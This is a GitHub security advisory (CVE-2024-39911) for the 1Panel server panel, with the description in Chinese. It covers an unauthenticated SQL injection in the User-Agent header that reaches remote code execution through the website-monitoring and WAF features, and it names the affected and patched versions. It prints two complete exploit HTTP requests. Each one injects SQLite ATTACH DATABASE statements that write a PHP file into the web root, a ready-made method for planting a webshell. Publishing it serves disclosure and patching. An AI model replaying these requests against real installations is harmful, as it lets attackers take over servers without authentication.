Skip to content

1Panel panel frontend SQL injection to website functionality RCE vulnerability

Critical
wanghe-fit2cloud published GHSA-7m53-pwp6-v3f5 Jul 18, 2024

Package

专业版/社区版 (专业版/社区版)

Affected versions

v1.10.10-lts

Patched versions

v1.10.12-lts

Description

0x1 测试版本

专业版 v1.10.10-lts
社区版 v1.10.10-lts
1panel/openresty:1.21.4.3-3-1-focal

0x2 影响范围

网站监控功能影响 == 1panel/openresty:1.21.4.3-3-1-focal
WAF功能影响 <= 1panel/openresty:1.21.4.3-3-1-focal

0x3 题外话

具体测试/发现过程在 https://blog.mo60.cn/index.php/archives/1Panel_SQLinjection2Rce.html 有兴趣的大佬们可以看看

0x4 网站监控功能GetShell

利用条件:

  • 专业版,并开启网站监控功能
  • 关闭waf功能
  • 安装有1P-openresty容器且搭建有php环境网站

默认网站路径格式如下,这个路径是在op容器里面的路径

/www/sites/网站代号(默认为域名)/index/

通过sql注入导出文件到网站路径下

GET / HTTP/1.1
Host: 192.168.99.6
User-Agent: ua', 'blog.mo60.cn', 5201314, '', '', 1, '2024-06-09 08:16:52', 1817921010.847, '/AAAAAAA', 52014, '2025-06-09', '16', '', '', 'Linux', 'edge', 'pc', '', '');ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#

然后来到网站路径下可以看到我们写入的文件

image

访问发现成功输出blog.mo60.cn 的md5值,成功执行代码

image

0x5 Waf功能

利用条件:

  • 开启waf功能
  • 安装有1P-openresty容器且搭建有php环境网站

发送后即可成功写入文件

GET /.git/config HTTP/1.1
Host: 192.168.99.6
User-Agent: blog.mo60.cn',"args", "sqlInjectA", "", "YmxvZy5tbzYwLmNu", "blog.mo60.cn", 0, "deny", 0, 1);ATTACH DATABASE '/www/sites/index/index/mo60.cn.php' AS test ;create TABLE test.exp (dataz text) ; insert INTO test.exp (dataz) VALUES ('<?= md5("blog.mo60.cn"); ?>');#
Connection: close

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2024-39911

Weaknesses

No CWEs

Credits